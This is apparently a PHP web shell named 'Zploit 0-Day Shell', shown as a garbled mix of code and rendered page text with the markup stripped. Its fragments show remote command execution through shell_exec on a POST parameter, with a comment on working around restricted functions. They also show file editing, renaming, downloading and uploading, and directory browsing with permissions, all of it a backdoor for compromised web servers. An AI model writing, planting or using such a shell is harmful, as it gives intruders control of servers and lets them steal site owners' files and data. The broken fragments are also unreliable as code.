Zploit 0-Day Shell

! **ALERT**:

>> CMD Result

";
    // EXECUTION: Use shell_exec/exec/passthru as a fallback, system is often restricted.
    echo htmlspecialchars(shell_exec($_POST['cmd']));
    echo "

"; endif; ?>

:: Editing File: '.basename($file_path).''; echo ''; } else { echo '

Error: File not found for editing.

'; } // STOP further rendering (file list) echo '

'; ob_end_flush(); exit; } // RENAME file/dir if(isset($_GET['rename'])){ $file_path = base64_decode($_GET['rename']); echo '

:: Rename: '.basename($file_path).'

'; echo ''; } // DOWNLOAD file (triggers actual download) if(isset($_GET['download'])){ $file_path = base64_decode($_GET['download']); if(is_file($file_path) && is_readable($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path)); // Use readfile for better memory handling readfile($file_path); ob_end_flush(); exit; } else { echo '

Error: File not found or not readable.

'; } } // --- Directory Listing --- echo '

:: Directory Listing

'; echo ''; echo ''; // UP ONE LEVEL $parent_dir = dirname($dir); if($parent_dir != $dir){ echo ''; } $items = @scandir($dir); if($items !== false){ foreach($items as $item){ if($item == '.' || $item == '..'){ continue; } $path = $dir . $item; $is_dir = is_dir($path); $perms = substr(sprintf('%o', fileperms($path)), -4); $size = $is_dir ? 'DIR' : round(filesize($path)/1024, 2) . ' KB'; $item_display = $is_dir ? ' **'.$item.'**' : $item; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } } else { echo ''; } echo '

Type	Name	Size	Permissions	Actions
[..] Up Directory
'.($is_dir ? 'D' : 'F').'	'.($is_dir ? '' : '').htmlspecialchars($item_display).($is_dir ? '' : '').'	'.$size.'	'.$perms.'	'; // ACTIONS if(!$is_dir){ echo '[EDIT] \| '; echo '[DOWNLOAD] \| '; } echo '[RENAME] \| '; echo ' '; echo ''; echo ''; echo ''; echo ' '; echo '
ACCESS DENIED or Directory Not Readable.

'; // --- File Upload Form --- ?>

:: Rename: '.basename($file_path).'

:: Directory Listing

:: File Upload